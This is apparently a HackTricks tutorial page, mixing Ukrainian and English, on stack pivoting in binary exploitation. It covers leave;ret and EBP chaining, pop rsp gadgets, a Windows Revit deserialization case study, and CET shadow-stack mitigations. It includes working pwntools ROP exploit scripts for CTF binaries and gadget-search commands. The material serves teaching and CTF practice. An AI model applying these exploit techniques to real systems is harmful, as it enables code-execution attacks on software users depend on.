Stack Pivoting
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Ця техніка експлуатує можливість маніпулювати Base Pointer (EBP/RBP) для ланцюжного виконання кількох функцій шляхом обережного використання frame pointer та послідовності інструкцій leave; ret.
Нагадаємо, на x86/x86-64 інструкція leave еквівалентна:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
А оскільки збережений EBP/RBP знаходиться в стеку перед збереженим EIP/RIP, його можна контролювати, контролюючи стек.
Примітки
- На 64-bit замініть EBP→RBP та ESP→RSP. Семантика та сама.
- Деякі компілятори опускають frame pointer (див. “EBP might not be used”). У такому випадку
leaveможе не з’явитися і ця техніка не спрацює.
EBP2Ret
This technique is particularly useful when you can alter the saved EBP/RBP but have no direct way to change EIP/RIP. It leverages the function epilogue behavior.
If, during fvuln’s execution, you manage to inject a fake EBP in the stack that points to an area in memory where your shellcode/ROP chain address is located (plus 8 bytes on amd64 / 4 bytes on x86 to account for the pop), you can indirectly control RIP. As the function returns, leave sets RSP to the crafted location and the subsequent pop rbp decreases RSP, effectively making it point to an address stored by the attacker there. Then ret will use that address.
Note how you need to know 2 addresses: the address where ESP/RSP is going to go, and the value stored at that address that ret will consume.
Побудова експлойту
Спочатку потрібно знати адресу, куди ви можете записати довільні дані/адреси. RSP вкаже сюди і виконає перший ret.
Далі, вам потрібно вибрати адресу, яку ret використає для перехіду виконання. Ви можете використати:
- Дійсну ONE_GADGET адресу.
- Адресу
system()з наступним відповідним return та аргументами (на x86:rettarget =&system, потім 4 зайві байти, потім&"/bin/sh"). - Адресу гаджета
jmp esp;(ret2esp) з наступним inline shellcode. - ROP chain, розміщений у записуваній пам’яті.
Пам’ятайте, що перед будь-якою з цих адрес у контрольованій області має бути місце для pop ebp/rbp від leave (8B на amd64, 4B на x86). Ви можете використати ці байти, щоб встановити другий fake EBP і зберегти контроль після повернення першого виклику.
Off-By-One Exploit
There’s a variant used when you can only modify the least significant byte of the saved EBP/RBP. In such a case, the memory location storing the address to jump to with ret must share the first three/five bytes with the original EBP/RBP so a 1-byte overwrite can redirect it. Usually the low byte (offset 0x00) is increased to jump as far as possible within a nearby page/aligned region.
It’s also common to use a RET sled in the stack and put the real ROP chain at the end to make it more probable that the new RSP points inside the sled and the final ROP chain is executed.
EBP Chaining
By placing a controlled address in the saved EBP slot of the stack and a leave; ret gadget in EIP/RIP, it’s possible to move ESP/RSP to an attacker-controlled address.
Тепер RSP контролюється, і наступною інструкцією є ret. Розмістіть у контрольованій пам’яті щось на кшталт:
&(next fake EBP)-> Завантажуєтьсяpop ebp/rbpзleave.&system()-> Викликаєтьсяret.&(leave;ret)-> Після завершенняsystemпереміщує RSP до наступного fake EBP і продовжує.&("/bin/sh")-> Аргумент дляsystem.
Таким чином можна ланцюжити кілька fake EBP, щоб контролювати потік виконання програми.
This is like a ret2lib, but more complex and only useful in edge-cases.
Moreover, here you have an example of a challenge that uses this technique with a stack leak to call a winning function. This is the final payload from the page:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 alignment tip: System V ABI вимагає 16-байтового вирівнювання стеку в місцях виклику. Якщо ваш chain викликає функції на кшталт
system, додайте alignment gadget (наприклад,ret, абоsub rsp, 8 ; ret) перед викликом, щоб підтримати вирівнювання і уникнути падінь черезmovaps.
EBP може не використовуватися
As explained in this post, якщо бінарник скомпільовано з певними оптимізаціями або з frame-pointer omission, то EBP/RBP ніколи не контролює ESP/RSP. Тому будь-який експлоіт, що працює шляхом контролю EBP/RBP, зазнає невдачі, оскільки пролог/епілог не відновлює зі frame pointer.
- Не оптимізовано / frame pointer використовується:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Оптимізовано / frame pointer опущено:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
On amd64 ви часто побачите pop rbp ; ret замість leave ; ret, але якщо вказівник кадру повністю опущено, то немає rbp-залежного епілогу, через який можна виконати pivot.
Інші способи контролю RSP
pop rsp gadget
In this page ви можете знайти приклад, що використовує цю техніку. Для тієї задачі потрібно було викликати функцію з 2 конкретними аргументами; був присутній pop rsp gadget і мався leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Перегляньте техніку ret2esp тут:
Швидкий пошук pivot gadgets
Використовуйте ваш улюблений gadget finder для пошуку класичних pivot primitives:
leave ; reton functions or in librariespop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(oradd esp, <imm> ; reton x86)
Приклади:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Classic pivot staging pattern
Надійна pivot strategy, яку використовують у багатьох CTFs/exploits:
- Використовуйте невеликий початковий overflow, щоб викликати
read/recvв великий записуваний регіон (наприклад,.bss, heap, або mapped RW memory) і розмістити там повний ROP chain. - Повернутися в pivot gadget (
leave ; ret,pop rsp,xchg rax, rsp ; ret), щоб перемістити RSP у цей регіон. - Продовжити зі staged chain (наприклад, leak libc, викликати
mprotect, потімreadshellcode, а потім перейти до нього).
Windows: Destructor-loop weird-machine pivots (Revit RFA case study)
Парсери на боці клієнта іноді реалізують destructor loops, які опосередковано викликають function pointer, отриманий із attacker-controlled object fields. Якщо кожна ітерація пропонує рівно один indirect call (a “one-gadget” machine), ви можете перетворити це на надійний stack pivot і ROP entry.
Спостерігалось в Autodesk Revit RFA deserialization (CVE-2025-5037):
- Сконструйовані об’єкти типу
AStringрозміщують вказівник на attacker bytes на offset 0. - Деструкторний цикл фактично виконує по one gadget на об’єкт:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Два практичні pivots:
- Windows 10 (32-bit heap addrs): невирівняний “monster gadget”, який містить
8B E0→mov esp, eax, врештіret, щоб здійснити pivot з call-примітива в heap-based ROP chain. - Windows 11 (full 64-bit addrs): використати два об’єкти для керування обмеженим weird-machine pivot:
- Gadget 1:
push rax ; pop rbp ; ret(перемістити початковий rax у rbp) - Gadget 2:
leave ; ... ; ret(стаєmov rsp, rbp ; pop rbp ; ret), що pivot-ить у буфер першого об’єкта, де слідує звичайний ROP chain.
Поради для Windows x64 після pivot:
- Дотримуйтеся 0x20-байтового shadow space і підтримуйте 16-байтове вирівнювання перед
callsites. Часто зручно розміщувати літерали над адресою повернення і використовувати гаджет на кшталтlea rcx, [rsp+0x20] ; call rax, після якого йдеpop rax ; ret, щоб передавати адреси стеку без пошкодження контролю виконання. - Non-ASLR helper modules (якщо присутні) забезпечують стабільні набори гаджетів і імпорти, такі як
LoadLibraryW/GetProcAddress, для динамічного розв’язання цілей на кшталтucrtbase!system. - Створення відсутніх гаджетів через writable thunk: якщо перспективна послідовність закінчується
callчерез writable function pointer (наприклад, DLL import thunk або function pointer у .data), перепишіть цей вказівник на нешкідливий однокроковий gadget типуpop rax ; ret. Тоді послідовність поводитиметься так, ніби вона завершуваласьret(наприклад,mov rdx, rsi ; mov rcx, rdi ; ret), що безцінно для завантаження Windows x64 регістрів аргументів без пошкодження інших регістрів.
Для повного побудови chain та прикладів гаджетів дивіться референс нижче.
Сучасні mitigations, що ламають stack pivoting (CET/Shadow Stack)
Modern x86 CPUs and OSes increasingly deploy CET Shadow Stack (SHSTK). With SHSTK enabled, ret compares the return address on the normal stack with a hardware-protected shadow stack; any mismatch raises a Control-Protection fault and kills the process. Therefore, techniques like EBP2Ret/leave;ret-based pivots will crash as soon as the first ret is executed from a pivoted stack.
- For background and deeper details see:
- Швидкі перевірки на Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Примітки для лабораторій/CTF:
-
Деякі сучасні дистрибутиви вмикають SHSTK для CET-enabled бінарників, якщо апаратна підтримка та glibc присутні. Для контрольованого тестування у VMs, SHSTK можна вимкнути системно через параметр завантаження ядра
nousershstk, або вибірково вмикати через glibc tunables під час старту (див. references). Не вимикайте mitigations на production-цілях. -
JOP/COOP або SROP-based техніки можуть бути все ще життєздатні на деяких цілях, але SHSTK спеціально ламає
ret-based pivots. -
Windows note: Windows 10+ відкриває user-mode, а Windows 11 додає kernel-mode “Hardware-enforced Stack Protection”, побудований на shadow stacks. CET-compatible процеси запобігають stack pivoting/ROP на
ret; розробники підключають це через CETCOMPAT та суміжні політики (див. reference).
ARM64
У ARM64, пролог і епілоги функцій не зберігають і не відновлюють регістр SP у стеку. Більше того, інструкція RET повертає не за адресою, на яку вказує SP, а за адресою, що міститься в x30.
Тому за замовчуванням, просто зловживаючи епілогом, ви не зможете контролювати регістр SP шляхом перезапису якихось даних у стеку. І навіть якщо вам вдасться контролювати SP, вам все одно потрібно буде знайти спосіб контролювати регістр x30.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
Caution
Спосіб виконати щось подібне до stack pivoting в ARM64 — це мати можливість контролювати
SP(наприклад, контролюючи якийсь регістр, значення якого передається вSP, або через те, що з якоїсь причиниSPбере свою адресу зі стеку і ми маємо overflow), а потім зловживати епілогом, щоб завантажити регістрx30з контрольованогоSPта виконатиRETна нього.
Also in the following page you can see the equivalent of Ret2esp in ARM64:
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing
.fini_arrayentries + calling__libc_csu_fini(more info here). Abusing this “eternal” write, it’s written a ROP chain in the .bss and end up calling it pivoting with RBP. - Документація ядра Linux: Control-flow Enforcement Technology (CET) Shadow Stack — details on SHSTK,
nousershstk,/proc/$PID/statusflags, and enabling viaarch_prctl. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


